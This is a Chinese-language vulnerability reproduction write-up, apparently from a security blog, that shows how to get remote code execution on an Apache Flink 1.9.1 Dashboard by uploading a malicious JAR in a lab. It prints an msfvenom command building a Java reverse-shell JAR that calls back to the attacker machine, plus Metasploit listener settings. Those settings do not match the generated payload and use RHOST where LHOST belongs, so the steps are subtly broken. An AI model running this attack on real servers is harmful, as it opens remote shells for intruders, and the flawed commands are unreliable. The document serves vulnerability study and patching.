Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

0x00简介

Apache Flink是近几年大火的数据处理引擎。受到各大厂商的推崇并且已经应用与实际的业务场景中。很多公司在进行选型的时候都会选择Apache Flink作为选型的对象。
Apache Flink能用来做什么?
l 实时推荐系统
l 实时报表
l 实时数仓与ETL
l 复杂事件处理
l 实时欺诈与实时信用评估
l 大数据安全监测Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第1张图片
Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任务。

0x01漏洞介绍

攻击者可直接在Apache Flink Dashboard页面中上传任意jar包,从而达到远程代码执行的目的

0x02影响范围

至目前Apache Flink 1.9.1版本

0x03环境搭建

攻击机kali:192.168.10.147
受害机Ubuntu:192.168.10.176
测试环境:Flink 1.9.1 java8+
Apache Flink 1.9.1安装包下载:
https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
下载完成后使用解压
tar zxvf flink-1.9.1-bin-scala_2.11.tgz
Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第2张图片
进入bin目录运行./start-cluster.sh启动环境
Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第3张图片
环境搭建成功 目标站点
http://192.168.10.176:8081
Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第4张图片

0x04漏洞复现

1、使用kali生成jar后门包
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.10.147 LPORT=2020 -f jar > shell.jar
Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第5张图片
2、攻击机访问目标站点 并上传shell.jar
Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第6张图片

3、使用kali配置监听
use exploit/multi/handler
set payload java/shell/reverse_tcp
set RHOST 192.168.10.147
set LPORT 2020
run
Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第7张图片

4、点开刚刚上传的shell.jar,触发漏洞
Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第8张图片
Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第9张图片

0x05修复方式

更新官方补丁或更新最新版本

免责申明:
本项目仅进行信息搜集,漏洞探测工作,无漏洞利用、攻击性行为,发文初衷为仅为方便安全人员对授权项目完成测试工作和学习交流使用。
请使用者遵守当地相关法律,勿用于非授权测试,勿用于非授权测试,勿用于非授权测试~~(重要的事情说三遍)~~,如作他用所承受的法律责任一概与作者无关!!!

你可能感兴趣的:(漏洞复现)